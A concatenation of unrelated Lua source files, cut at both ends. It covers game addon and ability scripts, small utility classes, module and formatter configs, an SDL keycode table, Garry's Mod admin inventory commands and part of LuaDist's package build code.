self.wndOpts:Close() end function DrScoreBadger:OnTestSettings() self.bTesting = not self.bTesting text = self.bTesting and "Stop Testing" or "Test Settings on current target" self.wndOpts:FindChild("testSettings"):SetText(text) end function DrScoreBadger:OnOpacityChanged() self.options.opacity = self.wndOpts:FindChild("opacitySliderBar"):GetValue() end function DrScoreBadger:OnSizeChanged() self.options.size = self.wndOpts:FindChild("sizeSliderBar"):GetValue() end function DrScoreBadger:OnHeightChanged() self.options.height = self.wndOpts:FindChild("heightSliderBar"):GetValue() end function DrScoreBadger:OnHealNext() self.options.healSprite = (self.options.healSprite % #healSprites) + 1 self:UpdateOptionsPixies() self.testSprite = self:GetHealSprite() end function DrScoreBadger:OnHealPrev() self.options.healSprite = ((self.options.healSprite - 2) % #healSprites) + 1 self:UpdateOptionsPixies() self.testSprite = self:GetHealSprite() end function DrScoreBadger:OnKillsNext() self.options.killsSprite = (self.options.killsSprite % #killsSprites) + 1 self:UpdateOptionsPixies() self.testSprite = self:GetKillsSprite() end function DrScoreBadger:OnKillsPrev() self.options.killsSprite = ((self.options.killsSprite - 2) % #killsSprites) + 1 self:UpdateOptionsPixies() self.testSprite = self:GetKillsSprite() end function DrScoreBadger:OnDeathsNext() self.options.deathsSprite = (self.options.deathsSprite % #deathsSprites) + 1 self:UpdateOptionsPixies() self.testSprite = self:GetDeathsSprite() end function DrScoreBadger:OnDeathsPrev() self.options.deathsSprite = ((self.options.deathsSprite - 2) % #deathsSprites) + 1 self:UpdateOptionsPixies() self.testSprite = self:GetDeathsSprite() end ----------------------------------------------------------------------------------------------- -- DrScoreBadger Instance ----------------------------------------------------------------------------------------------- local DrScoreBadgerInst = DrScoreBadger:new() DrScoreBadgerInst:Init()
--[[Author: YOLOSPAGHETTI Date: February 16, 2016 Draws all unit models, places them in random positions in the aoe, and creates the doppelganger illusions]] function DoppelgangerEnd( event ) local caster = event.caster local target = event.target local ability = event.ability local radius = ability:GetLevelSpecialValueFor( "target_radius", ability:GetLevel() - 1 ) -- Draws the unit's model target:RemoveNoDraw() -- Sets them in a random position in the target aoe target:SetAbsOrigin(target.doppleganger_position) FindClearSpaceForUnit(target, target.doppleganger_position, true) if target == caster then local player = caster:GetPlayerID() local unit_name = caster:GetUnitName() local duration = ability:GetLevelSpecialValueFor( "illusion_duration", ability:GetLevel() - 1 ) -- Creates both doppelgangers for j=0,1 do local rand_distance = math.random(0,radius) local origin = caster:GetAbsOrigin() + RandomVector(rand_distance) local outgoingDamage local incomingDamage -- Sets the outgoing and incoming damage values for the doppelgangers if j==0 then outgoingDamage = ability:GetLevelSpecialValueFor( "first_illusion_outgoing_damage", ability:GetLevel() - 1 ) incomingDamage = ability:GetLevelSpecialValueFor( "first_illusion_incoming_damage", ability:GetLevel() - 1 ) else outgoingDamage = ability:GetLevelSpecialValueFor( "second_illusion_outgoing_damage", ability:GetLevel() - 1 ) incomingDamage = ability:GetLevelSpecialValueFor( "second_illusion_incoming_damage", ability:GetLevel() - 1 ) end -- handle_UnitOwner needs to be nil, else it will crash the game. local illusion = CreateUnitByName(unit_name, origin, true, caster, nil, caster:GetTeamNumber()) illusion:SetPlayerID(caster:GetPlayerID()) illusion:SetControllableByPlayer(player, true) -- Level Up the unit to the casters level local casterLevel = caster:GetLevel() for i=1,casterLevel-1 do illusion:HeroLevelUp(false) end -- Set the skill points to 0 and learn the skills of the caster illusion:SetAbilityPoints(0) for abilitySlot=0,15 do local ability = caster:GetAbilityByIndex(abilitySlot) if ability ~= nil then local abilityLevel = ability:GetLevel() local abilityName = ability:GetAbilityName() local illusionAbility = illusion:FindAbilityByName(abilityName) illusionAbility:SetLevel(abilityLevel) end end -- Recreate the items of the caster for itemSlot=0,5 do local item = caster:GetItemInSlot(itemSlot) if item ~= nil then local itemName = item:GetName() local newItem = CreateItem(itemName, illusion, illusion) illusion:AddItem(newItem) end end -- Set the unit as an illusion -- modifier_illusion controls many illusion properties like +Green damage not adding to the unit damage, not being able to cast spells and the team-only blue particle illusion:AddNewModifier(caster, ability, "modifier_illusion", { duration = duration, outgoing_damage = outgoingDamage, incoming_damage = incomingDamage }) -- Without MakeIllusion the unit counts as a hero, e.g. if it dies to neutrals it says killed by neutrals, it respawns, etc. illusion:MakeIllusion() end end end --[[Author: YOLOSPAGHETTI Date: February 16, 2016 Applies a basic dispel to the unit and removes the model]] function DoppelgangerStart( keys ) local target = keys.target -- Basic Dispel local RemovePositiveBuffs = false local RemoveDebuffs = true local BuffsCreatedThisFrameOnly = false local RemoveStuns = false local RemoveExceptions = false target:Purge( RemovePositiveBuffs, RemoveDebuffs, BuffsCreatedThisFrameOnly, RemoveStuns, RemoveExceptions) -- Removes the unit's model target:AddNoDraw() end --[[Author: YOLOSPAGHETTI Date: February 16, 2016 Applies the banish to the caster and all of his illusions in the area]] function CheckUnits(keys) local caster = keys.caster local target = keys.target local ability = keys.ability local duration = ability:GetLevelSpecialValueFor( "delay", ability:GetLevel() - 1 ) local radius = ability:GetLevelSpecialValueFor( "target_radius", ability:GetLevel() - 1 ) -- Checks that the unit is either the caster or one of his illusions, and applies the banish if target:GetUnitName() == caster:GetUnitName() and target:GetMainControllingPlayer() == caster:GetMainControllingPlayer() then -- Calculate the random positions for the illusions and caster local rand_distance = math.random(0,radius) local rand_position = ability:GetCursorPosition() + RandomVector(rand_distance) target.doppleganger_position = rand_position -- Create the dopple disappear effect local dopple_particle = ParticleManager:CreateParticle("particles/units/heroes/hero_phantom_lancer/phantom_lancer_doppleganger_illlmove.vpcf",PATTACH_CUSTOMORIGIN,caster) ParticleManager:SetParticleControl(dopple_particle,0,target:GetAbsOrigin()) ParticleManager:SetParticleControl(dopple_particle,1,rand_position) ParticleManager:ReleaseParticleIndex(dopple_particle) ability:ApplyDataDrivenModifier(caster, target, "modifier_doppelganger_datadriven", {Duration = duration}) end end
local Pvector = require('./Pvector') local Block = {} Block.__index = Block function Block.new() local r = {} setmetatable(r, Block) r.height = 50 r.width = 10 r.location = Pvector.new(width + 5, height / 2 - r.height) return r end function Block:draw() love.graphics.rectangle('fill', self.location.x, self.location.y, self.width, self.height) end function Block:move(speed) self.location.x = self.location.x - speed end return Block
classtools = require 'classtools' local Vector = {} function Vector:constructor(x, y) self[0] = x or 0 self[1] = y or 0 if self[0] == 0 and self[1] ~= 0 then self.direction_index = 1 elseif self[1] == 0 and self[0] ~= 0 then self.direction_index = 0 end end function Vector:direction() return self[self.direction_index] end function Vector:zero_index() return math.abs(self.direction_index - 1) end function Vector:expand() return self[0], self[1] end function Vector:contains(point) return point[0] >= 0 and point[0] < self[0] and point[1] >= 0 and point[1] < self[1] end local function add(a, b) if type(b) == 'number' then return Vector(a[0] + b, a[1] + b) else return Vector(a[0] + b[0], a[1] + b[1]) end end local function subtract(a, b) if type(b) == 'number' then return Vector(a[0] - b, a[1] - b) else return Vector(a[0] - b[0], a[1] - b[1]) end end local function multiply(a, b) if type(b) == 'number' then return Vector(a[0] * b, a[1] * b) else return Vector(a[0] * b[0], a[1] * b[1]) end end local function divide(a, b) if type(b) == 'number' then return Vector(a[0] / b, a[1] / b) else return Vector(a[0] / b[0], a[1] / b[1]) end end local function modulo(a, b) if type(b) == 'number' then return Vector(a[0] % b, a[1] % b) else return Vector(a[0] % b[0], a[1] % b[1]) end end local function to_string(t) return t[0] .. ' ' .. t[1] end setmetatable(Vector, { __add = add, __sub = subtract, __mul = multiply, __div = divide, __mod = modulo, __tostring = to_string, }) classtools.callable(Vector) return Vector
help( [[ This module loads unixODBC 2.3.2 The unixODBC Project goals are to develop and promote unixODBC to be the definitive standard for ODBC on non MS Windows platforms. ]]) whatis("Loads unixODBC libraries") local version = "2.3.2" local base = "/cvmfs/oasis.opensciencegrid.org/osg/modules/unixodbc/"..version prepend_path("LD_LIBRARY_PATH", pathJoin(base, "lib")) prepend_path("PATH", pathJoin(base, "bin")) prepend_path("CPATH", base.."/include") prepend_path("LIBRARY_PATH", base.."/lib") family('unixODBC')
local h = require("null-ls.helpers") local methods = require("null-ls.methods") local FORMATTING = methods.internal.FORMATTING return h.make_builtin({ name = "zprint", meta = { url = "https://github.com/kkinnear/zprint", description = "Beautifully format Clojure and Clojurescript source code and s-expressions.", notes = { "Requires that `zprint` is executable and on $PATH." }, }, method = FORMATTING, filetypes = { "clojure" }, generator_opts = { command = "zprint", to_stdin = true, }, factory = h.formatter_factory, })
--[[ CooL( Corona Object-Oriented Lua ) https://github.com/dejayc/CooL Copyright 2011 Dejay Clayton All use of this file must comply with the Apache License, Version 2.0, under which this file is licensed: http://www.apache.org/licenses/LICENSE-2.0 --]] --[[ ------------------------------------------------------------------------------- -- Convenience methods to inspect and manipulate the state of the display, as -- configured by CooL. module "FrameworkDisplay" ------------------------------------------------------------------------------- --]] local BaseLua = require( "BaseLua" ) local CooL = require( "CooL" ) local ClassHelper = require( BaseLua.package.ClassHelper ) local DataHelper = require( BaseLua.package.DataHelper ) local FileHelper = require( BaseLua.package.FileHelper ) local DisplayHelper = require( CooL.package.DisplayHelper ) local CLASS = ClassHelper.autoclass( ClassHelper.getPackagePath( ... ) ) --- Description. -- @name init -- @param frameworkConfig -- @param ... -- @return description. -- @usage example -- @see class function CLASS:init( frameworkConfig, ... ) self.fileLookup = frameworkConfig:getFileLookup() self.scalingAxis = frameworkConfig:getScalingAxis() DisplayHelper.setStatusBar( frameworkConfig:getStatusBar() ) end --- Description. -- @name findByScale -- @param fileName -- @param rootPath -- @param coronaPathType -- @param dynamicScale -- @param bypassDefaultCheck -- @return description. -- @usage example -- @see class CLASS.findFileByScale = DataHelper.memoize( function( self, fileName, rootPath, coronaPathType, dynamicScale, bypassDefaultCheck ) local hasDefaultArguments = false if ( fileName == nil ) then fileName = "" hasDefaultArguments = true end if ( rootPath == nil ) then rootPath = "" hasDefaultArguments = true end if ( coronaPathType == nil ) then coronaPathType = system.ResourceDirectory hasDefaultArguments = true end if ( dynamicScale == nil ) then dynamicScale = self:getDynamicScale() hasDefaultArguments = true end if ( bypassDefaultCheck == nil ) then bypassDefaultCheck = false hasDefaultArguments = true end -- If default values have been used, call the method again with the -- default values so that the results are memoized for both method -- invocations. if ( hasDefaultArguments ) then return self:findFileByScale( fileName, rootPath, coronaPathType, dynamicScale, bypassDefaultCheck ) end if ( fileName == nil or fileName == "" ) then return nil end if ( rootPath ~= nil ) then rootPath = rootPath .. FileHelper.PATH_SEPARATOR else rootPath = "" end local fileLookups = self:getFileLookupsForScale( dynamicScale ) if ( DataHelper.isNonEmptyTable( fileLookups ) ) then local _, _, filePrefix, fileExt = string.find( fileName, "^(.*)%.(.-)$" ) local checkedPaths = {} for _, entry in ipairs( fileLookups ) do local fileLookup = entry.lookup local fileScale = entry.scale local subdirs = fileLookup.subdir if ( subdirs == nil ) then subdirs = { "" } end if ( type( subdirs ) ~= "table" ) then subdirs = { subdirs } end local suffixes = fileLookup.suffix if ( suffixes == nil ) then suffixes = { "" } end if ( type( suffixes ) ~= "table" ) then suffixes = { suffixes } end for _, subdir in ipairs( subdirs ) do for _, suffix in ipairs( suffixes ) do -- Skip the check when subdir and suffix are both empty, -- as that condition will be checked last, when the default -- directory and filename are checked. if ( subdir ~= "" or suffix ~= "" ) then local filePath = rootPath if ( subdir ~= "" ) then filePath = filePath .. subdir .. FileHelper.PATH_SEPARATOR end local checkedFileName = filePrefix .. suffix .. "." .. fileExt local checkedPath = filePath .. checkedFileName if ( checkedPaths[ checkedPath ] == nil ) then checkedPaths[ checkedPath ] = true if ( FileHelper.getFileSystemPath( checkedPath, coronaPathType ) ~= nil ) then return filePath, checkedFileName, fileScale end end end end end end end if ( bypassDefaultCheck ) then return nil end local checkedPath = rootPath .. fileName if ( FileHelper.getFileSystemPath( checkedPath, coronaPathType ) == nil ) then return nil end return rootPath, fileName, 1 end ) --- Description. -- @name getDisplayScale -- @param scalingAxis -- @return description. -- @usage example -- @see class CLASS.getDisplayScale = DataHelper.memoize( function( self, scalingAxis ) local hasDefaultArguments = false if ( scalingAxis == nil ) then scalingAxis = self:getScalingAxis() hasDefaultArguments = true end -- If default values have been used, call the method again with the -- default values so that the results are memoized for both method -- invocations. if ( hasDefaultArguments ) then return self:getDisplayScale( scalingAxis ) end local displayScale = nil local height = DisplayHelper.getDisplayHeight() local heightScale = display.contentScaleY local width = DisplayHelper.getDisplayWidth() local widthScale = display.contentScaleX if ( scalingAxis == "minScale" ) then if ( heightScale < widthScale ) then displayScale = widthScale else displayScale = heightScale end elseif ( scalingAxis == "maxScale" ) then if ( heightScale > widthScale ) then displayScale = widthScale else displayScale = heightScale end elseif ( scalingAxis == "minResScale" ) then if ( height < width ) then displayScale = heightScale else displayScale = widthScale end elseif ( scalingAxis == "maxResScale" ) then if ( height > width ) then displayScale = heightScale else displayScale = widthScale end elseif ( scalingAxis == "widthScale" ) then if ( orientation == "landscape" ) then displayScale = widthScale else displayScale = heightScale end elseif ( scalingAxis == "heightScale" ) then if ( orientation == "landscape" ) then displayScale = heightScale else displayScale = widthScale end end return displayScale end ) --- Description. -- @name getDynamicScale -- @return description. -- @usage example -- @see class function CLASS:getDynamicScale() return DataHelper.roundNumber( 1 / self:getDisplayScale(), 3 ) end --- Description. -- @name getFileLookup -- @return description. -- @usage example -- @see class function CLASS:getFileLookup() return self.fileLookup end --- Description. -- @name hasFileLookup -- @return description. -- @usage example -- @see class function CLASS:hasFileLookup() return DataHelper.hasValue( self.fileLookup ) end --- Description. -- @name getFileLookupsForScale -- @param scale -- @return description. -- @usage example -- @see class CLASS.getFileLookupsForScale = DataHelper.memoize( function( self, scale ) local fileLookupsForScale = {} local fileLookupsSortedByScale = self:getFileLookupsSortedByScale() if ( fileLookupsSortedByScale ~= nil ) then local cutOff, threshold, indexIncrement if ( scale >= 1 ) then cutOff, threshold, indexIncrement = scale, 1, 1 else cutOff, threshold, indexIncrement = 1, scale, 0 end for _, entry in ipairs( fileLookupsSortedByScale ) do if ( entry.scale > cutOff ) then break end if ( entry.scale >= threshold ) then local index = 1 for _, lookup in pairs( entry.lookup ) do table.insert( fileLookupsForScale, index, { lookup = lookup, scale = entry.scale } ) index = index + indexIncrement end end end end return fileLookupsForScale end ) --- Description. -- @name getFileLookupsSortedByScale -- @return description. -- @usage example -- @see class CLASS.getFileLookupsSortedByScale = DataHelper.memoize( function( self ) local fileLookup = self:getFileLookup() if ( fileLookup == nil ) then return nil end local fileScales = DataHelper.getNumericKeysSorted( fileLookup ) local fileLookupsSortedByScale = {} for _, scale in pairs( fileScales ) do table.insert( fileLookupsSortedByScale, { scale = scale, lookup = fileLookup[ scale ] } ) end return fileLookupsSortedByScale end ) --- Description. -- @name getScalingAxis -- @return description. -- @usage example -- @see class function CLASS:getScalingAxis() return self.scalingAxis end --- Description. -- @name hasScalingAxis -- @return description. -- @usage example -- @see class function CLASS:hasScalingAxis() return DataHelper.hasValue( self.scalingAxis ) end return CLASS
----------------------------------- -- Area: Caedarva Mire -- NPC: qm9 -- Involved in quest: The Wayward Automation -- !pos 129 1.396 -631 79 ----------------------------------- local ID = require("scripts/zones/Caedarva_Mire/IDs") require("scripts/globals/quests") function onTrade(player, npc, trade) end function onTrigger(player, npc) local TheWaywardAutomation = player:getQuestStatus(AHT_URHGAN, tpz.quest.id.ahtUrhgan.THE_WAYWARD_AUTOMATION) local TheWaywardAutomationProgress = player:getCharVar("TheWaywardAutomationProgress") if (TheWaywardAutomation == QUEST_ACCEPTED and TheWaywardAutomationProgress == 2) then if (player:getCharVar("TheWaywardAutomationNM") >= 1) then player:startEvent(14)-- Event ID 14 for CS after toad elseif (not GetMobByID(ID.mob.CAEDARVA_TOAD):isSpawned()) then SpawnMob(ID.mob.CAEDARVA_TOAD):updateClaim(player) --Caedarva toad end else player:messageSpecial(ID.text.NOTHING_OUT_OF_ORDINARY) end end function onEventUpdate(player, csid, option) end function onEventFinish(player, csid, option) if (csid == 14) then player:setCharVar("TheWaywardAutomationProgress", 3) player:setCharVar("TheWaywardAutomationNM", 0) end end
-- ============================================================================ -- -- Particle Client -- Handler functions for particle effects on player -- -- ============================================================================ -- ============================================================================ -- ---------------------------------------------------------------------------- -- Initialisation -- ---------------------------------------------------------------------------- -- ============================================================================ local ParticleClient = {} function ParticleClient:Initialise() end -- ============================================================================ -- ---------------------------------------------------------------------------- -- Handler functions -- ---------------------------------------------------------------------------- -- ============================================================================ return ParticleClient;
local ffi = require("ffi") ffi.cdef[[ void REQUEST_get_header_value( const char *data, const char *requested_value_name, char *dst, const unsigned int dst_len ); int WEBSOCKET_generate_handshake( const char *data, char *dst, const unsigned int dst_len ); int WEBSOCKET_set_content( const char *data, int64_t data_length, unsigned char *dst, const unsigned int dst_len ); int WEBSOCKET_get_content( const char *data, int64_t data_length, unsigned char *dst, const unsigned int dst_len, unsigned char *hdr ); short WEBSOCKET_valid_connection( const char *data ); int WEBSOCKET_client_version( const char *data ); ]] local websocket = ffi.load("websocket") return websocket
return { unlock_equip = 10, unlock_hero = 20, default_avatar = "Assets/Icon/DefaultAvatar.png", default_item = "Assets/Icon/DefaultAvatar.png", }
-- From sdl :) keycodes = { KEY_UNKNOWN = 0, KEY_A = 4, KEY_B = 5, KEY_C = 6, KEY_D = 7, KEY_E = 8, KEY_F = 9, KEY_G = 10, KEY_H = 11, KEY_I = 12, KEY_J = 13, KEY_K = 14, KEY_L = 15, KEY_M = 16, KEY_N = 17, KEY_O = 18, KEY_P = 19, KEY_Q = 20, KEY_R = 21, KEY_S = 22, KEY_T = 23, KEY_U = 24, KEY_V = 25, KEY_W = 26, KEY_X = 27, KEY_Y = 28, KEY_Z = 29, KEY_1 = 30, KEY_2 = 31, KEY_3 = 32, KEY_4 = 33, KEY_5 = 34, KEY_6 = 35, KEY_7 = 36, KEY_8 = 37, KEY_9 = 38, KEY_0 = 39, KEY_RETURN = 40, KEY_ESCAPE = 41, KEY_BACKSPACE = 42, KEY_TAB = 43, KEY_SPACE = 44, KEY_MINUS = 45, KEY_EQUALS = 46, KEY_LEFTBRACKET = 47, KEY_RIGHTBRACKET = 48, KEY_BACKSLASH = 49, KEY_NONUSHASH = 50, KEY_SEMICOLON = 51, KEY_APOSTROPHE = 52, KEY_GRAVE = 53, KEY_COMMA = 54, KEY_PERIOD = 55, KEY_SLASH = 56, KEY_CAPSLOCK = 57, KEY_F1 = 58, KEY_F2 = 59, KEY_F3 = 60, KEY_F4 = 61, KEY_F5 = 62, KEY_F6 = 63, KEY_F7 = 64, KEY_F8 = 65, KEY_F9 = 66, KEY_F10 = 67, KEY_F11 = 68, KEY_F12 = 69, KEY_PRINTSCREEN = 70, KEY_SCROLLLOCK = 71, KEY_PAUSE = 72, KEY_INSERT = 73, KEY_HOME = 74, KEY_PAGEUP = 75, KEY_DELETE = 76, KEY_END = 77, KEY_PAGEDOWN = 78, KEY_RIGHT = 79, KEY_LEFT = 80, KEY_DOWN = 81, KEY_UP = 82, KEY_NUMLOCKCLEAR = 83, KEY_KP_DIVIDE = 84, KEY_KP_MULTIPLY = 85, KEY_KP_MINUS = 86, KEY_KP_PLUS = 87, KEY_KP_ENTER = 88, KEY_KP_1 = 89, KEY_KP_2 = 90, KEY_KP_3 = 91, KEY_KP_4 = 92, KEY_KP_5 = 93, KEY_KP_6 = 94, KEY_KP_7 = 95, KEY_KP_8 = 96, KEY_KP_9 = 97, KEY_KP_0 = 98, KEY_KP_PERIOD = 99, KEY_NONUSBACKSLASH = 100, KEY_APPLICATION = 101, KEY_POWER = 102, KEY_KP_EQUALS = 103, KEY_F13 = 104, KEY_F14 = 105, KEY_F15 = 106, KEY_F16 = 107, KEY_F17 = 108, KEY_F18 = 109, KEY_F19 = 110, KEY_F20 = 111, KEY_F21 = 112, KEY_F22 = 113, KEY_F23 = 114, KEY_F24 = 115, KEY_EXECUTE = 116, KEY_HELP = 117, KEY_MENU = 118, KEY_SELECT = 119, KEY_STOP = 120, KEY_AGAIN = 121, KEY_UNDO = 122, KEY_CUT = 123, KEY_COPY = 124, KEY_PASTE = 125, KEY_FIND = 126, KEY_MUTE = 127, KEY_VOLUMEUP = 128, KEY_VOLUMEDOWN = 129, KEY_LOCKINGCAPSLOCK = 130, KEY_LOCKINGNUMLOCK = 131, KEY_LOCKINGSCROLLLOCK = 132, KEY_KP_COMMA = 133, KEY_KP_EQUALSAS400 = 134, KEY_INTERNATIONAL1 = 135, KEY_INTERNATIONAL2 = 136, KEY_INTERNATIONAL3 = 137, KEY_INTERNATIONAL4 = 138, KEY_INTERNATIONAL5 = 139, KEY_INTERNATIONAL6 = 140, KEY_INTERNATIONAL7 = 141, KEY_INTERNATIONAL8 = 142, KEY_INTERNATIONAL9 = 143, KEY_LANG1 = 144, KEY_LANG2 = 145, KEY_LANG3 = 146, KEY_LANG4 = 147, KEY_LANG5 = 148, KEY_LANG6 = 149, KEY_LANG7 = 150, KEY_LANG8 = 151, KEY_LANG9 = 152, KEY_ALTERASE = 153, KEY_SYSREQ = 154, KEY_CANCEL = 155, KEY_CLEAR = 156, KEY_PRIOR = 157, KEY_RETURN2 = 158, KEY_SEPARATOR = 159, KEY_OUT = 160, KEY_OPER = 161, KEY_CLEARAGAIN = 162, KEY_CRSEL = 163, KEY_EXSEL = 164, KEY_KP_00 = 176, KEY_KP_000 = 177, KEY_THOUSANDSSEPARATOR = 178, KEY_DECIMALSEPARATOR = 179, KEY_CURRENCYUNIT = 180, KEY_CURRENCYSUBUNIT = 181, KEY_KP_LEFTPAREN = 182, KEY_KP_RIGHTPAREN = 183, KEY_KP_LEFTBRACE = 184, KEY_KP_RIGHTBRACE = 185, KEY_KP_TAB = 186, KEY_KP_BACKSPACE = 187, KEY_KP_A = 188, KEY_KP_B = 189, KEY_KP_C = 190, KEY_KP_D = 191, KEY_KP_E = 192, KEY_KP_F = 193, KEY_KP_XOR = 194, KEY_KP_POWER = 195, KEY_KP_PERCENT = 196, KEY_KP_LESS = 197, KEY_KP_GREATER = 198, KEY_KP_AMPERSAND = 199, KEY_KP_DBLAMPERSAND = 200, KEY_KP_VERTICALBAR = 201, KEY_KP_DBLVERTICALBAR = 202, KEY_KP_COLON = 203, KEY_KP_HASH = 204, KEY_KP_SPACE = 205, KEY_KP_AT = 206, KEY_KP_EXCLAM = 207, KEY_KP_MEMSTORE = 208, KEY_KP_MEMRECALL = 209, KEY_KP_MEMCLEAR = 210, KEY_KP_MEMADD = 211, KEY_KP_MEMSUBTRACT = 212, KEY_KP_MEMMULTIPLY = 213, KEY_KP_MEMDIVIDE = 214, KEY_KP_PLUSMINUS = 215, KEY_KP_CLEAR = 216, KEY_KP_CLEARENTRY = 217, KEY_KP_BINARY = 218, KEY_KP_OCTAL = 219, KEY_KP_DECIMAL = 220, KEY_KP_HEXADECIMAL = 221, KEY_LCTRL = 224, KEY_LSHIFT = 225, KEY_LALT = 226, KEY_LGUI = 227, KEY_RCTRL = 228, KEY_RSHIFT = 229, KEY_RALT = 230, KEY_RGUI = 231, KEY_MODE = 257, KEY_AUDIONEXT = 258, KEY_AUDIOPREV = 259, KEY_AUDIOSTOP = 260, KEY_AUDIOPLAY = 261, KEY_AUDIOMUTE = 262, KEY_MEDIASELECT = 263, KEY_WWW = 264, KEY_MAIL = 265, KEY_CALCULATOR = 266, KEY_COMPUTER = 267, KEY_AC_SEARCH = 268, KEY_AC_HOME = 269, KEY_AC_BACK = 270, KEY_AC_FORWARD = 271, KEY_AC_STOP = 272, KEY_AC_REFRESH = 273, KEY_AC_BOOKMARKS = 274, KEY_BRIGHTNESSDOWN = 275, KEY_BRIGHTNESSUP = 276, KEY_DISPLAYSWITCH = 277, KEY_KBDILLUMTOGGLE = 278, KEY_KBDILLUMDOWN = 279, KEY_KBDILLUMUP = 280, KEY_EJECT = 281, KEY_SLEEP = 282, KEY_APP1 = 283, KEY_APP2 = 284, KEY_AUDIOREWIND = 285, KEY_AUDIOFASTFORWARD = 286, } __KEYSMT__ = {} setmetatable(__KEYSMT__, __KEYSMT__) function __KEYSMT__.__call() local self = {} setmetatable(self, __KEYSMT__) return self end __KEYSMT__.__index = function(t, k) return key_down(keycodes["KEY_"..k]) end keys = __KEYSMT__() function onKeyDown(code) end
if SERVER then util.AddNetworkString("impulseOpsViewInv") util.AddNetworkString("impulseOpsRemoveInv") net.Receive("impulseOpsRemoveInv", function(len, ply) if not ply:IsAdmin() then return end local targ = net.ReadUInt(8) local invSize = net.ReadUInt(16) targ = Entity(targ) if not IsValid(targ) then return end for i=1,invSize do local itemid = net.ReadUInt(16) local hasItem = targ:HasInventoryItemSpecific(itemid) if hasItem then targ:TakeInventoryItem(itemid) end end ply:Notify("Removed "..invSize.." items from "..targ:Nick().."'s inventory.") end) else net.Receive("impulseOpsViewInv", function() local searchee = Entity(net.ReadUInt(8)) local invSize = net.ReadUInt(16) local invCompiled = {} if not IsValid(searchee) then return end for i=1,invSize do local itemnetid = net.ReadUInt(10) local itemrestricted = net.ReadBool() local itemequipped = net.ReadBool() local itemid = net.ReadUInt(16) local item = impulse.Inventory.Items[itemnetid] table.insert(invCompiled, {item, itemrestricted, itemequipped, itemid}) end local searchMenu = vgui.Create("impulseSearchMenuAdmin") searchMenu:SetInv(invCompiled) searchMenu:SetPlayer(searchee) end) end local viewInvCommand = { description = "Allows you to view and delete items from the player specified.", requiresArg = true, adminOnly = true, onRun = function(ply, arg, rawText) local name = arg[1] local plyTarget = impulse.FindPlayer(name) if plyTarget then if not plyTarget.beenInvSetup then return ply:Notify("Target is loading still...") end local inv = plyTarget:GetInventory(1) net.Start("impulseOpsViewInv") net.WriteUInt(plyTarget:EntIndex(), 8) net.WriteUInt(table.Count(inv), 16) for v,k in pairs(inv) do local netid = impulse.Inventory.ClassToNetID(k.class) net.WriteUInt(netid, 10) net.WriteBool(k.restricted or false) net.WriteBool(k.equipped or false) net.WriteUInt(v, 16) end net.Send(ply) else return ply:Notify("Could not find player: "..tostring(name)) end end } impulse.RegisterChatCommand("/viewinv", viewInvCommand) local restoreInvCommand = { description = "Restores a players inventory to the last state before death. (SteamID only)", requiresArg = true, adminOnly = true, onRun = function(ply, arg, rawText) local name = arg[1] local plyTarget = player.GetBySteamID(name) if plyTarget then if plyTarget.InventoryRestorePoint then plyTarget:ClearInventory(1) for v,k in pairs(plyTarget.InventoryRestorePoint) do plyTarget:GiveInventoryItem(k) end plyTarget.InventoryRestorePoint = nil plyTarget:Notify("Your inventory has been restored to its last state by a game moderator.") ply:Notify("You have restored "..plyTarget:Nick().."'s inventory to the last state.") for v,k in pairs(player.GetAll()) do if k:IsLeadAdmin() then k:AddChatText(Color(135, 206, 235), "[ops] Moderator "..ply:SteamName().." restored "..plyTarget:SteamName().."'s inventory.") end end else return ply:Notify("No restore point found for this player.") end else return ply:Notify("Could not find player: "..tostring(name).." (needs SteamID value)") end end } impulse.RegisterChatCommand("/restoreinv", restoreInvCommand)
--- LuaDist package specific functions -- Peter Drahoš, Peter Kapec, LuaDist Project, 2010 --- Package handling functions. -- This module deals with packages, these are unpacked dists in LuaDist terminology -- The following functions are provided: -- unpack - fetch and unpack a dist -- build - compile a source dist -- deploy - install a dist into deployment -- pack - create dist from package -- delete - delete package module ("dist.package", package.seeall) local config = require "dist.config" local fetch = require "dist.fetch" local persist = require "dist.persist" local sys = require "dist.sys" local manif = require "dist.manifest" local log = require "dist.log" --- Fetch and unpack zip/dist from URL into dest directory. -- @param url string: Local packed dist or URL to fetch dist from. -- @param dest string: Destination to unpack contents into, nil for temp directory. -- @return path, log: Unpacked dist path or nil and log. function unpack(url, dest) -- Make sure dest is set up properly dest = sys.path(dest) or config.temp -- Check types assert(type(url)=="string", "package.unpack: Argument 'url' is not a string.") assert(type(dest)=="string", "package.unpack: Argument 'dest' is not a string.") -- Setup destination local name = url:match("([^/]+)%.[^%.]+$") if not name then return nil, "Could not determine dist name from " .. url end local pkg = sys.path(dest, name) local dist = pkg .. ".dist" -- If the files already exist if sys.exists(pkg) then return pkg, "Skipped unpack, destination " .. dest .. " exists." end -- Download if needed if not sys.exists(dist) then -- Download from URL or local path. Fetch handles this dist = fetch.download(url) if not dist then return nil, "Failed to download " .. url end end -- Unzip local ok = sys.unzip(dist, pkg) if not ok then return nil, "Failed to unzip " .. dist .. " to " .. pkg end -- Cleanup if not config.debug then sys.delete(dist) end return pkg, "Unpacked " .. url .. " to " .. pkg end --- Build, deploy and test a source dist using CMake. -- @param dist string: Directory of the source dist to build. -- @param variables: Table containing optional CMake parameters. -- @return path, log: Returns temporary directory the dist was build into and log message. function build(dist, depl, variables) -- Make sure deployment is always set up depl = sys.path(depl) or config.root assert(type(dist)=="string", "package.build: Arument 'dist' is not a string.") assert(type(depl)=="string", "package.build: Argument 'depl' is not a string.") assert(type(variables)=="table", "package.build: Argument 'variables' is not a table.") -- Load dist info local info = manif.info(sys.path(dist, "dist.info")) if not info then return nil, "Directory " .. dist .. " does not contain valid dist.info." end -- Prepare temporary directory and build directory local install = sys.path(config.temp,info.name .. "-" .. info.version .. "-" .. config.arch .. "-" .. config.type) local build = sys.path(config.temp,info.name .. "-" .. info.version .. "-CMake-build") sys.makeDir(install) sys.makeDir(build) -- Prepare CMackeCache variables["CMAKE_INSTALL_PREFIX"] = install local cache = assert(io.open(build..'/cache.cmake', "w"), "Could not create cache file.") for k,v in pairs(variables) do cache:write('SET('..k..' "' .. tostring(v) ..'" CACHE STRING "" FORCE)\n') end cache:close() -- Determine build commands local make = config.make local cmake = config.cmake if config.debug then make = config.makeDebug cmake = config.cmakeDebug end -- Build local ok = sys.execute("cd " .. sys.Q(build) .. " && " .. cmake .. " -C cache.cmake " .. sys.Q(dist)) if not ok then return nil, "CMake failed pre-cmake script in directory " .. build end local ok = sys.execute("cd " .. sys.Q(build) .. " && " .. make) if not ok then return nil, "CMake failed building in directory " .. build end -- Save info info.arch = config.arch info.type = config.type 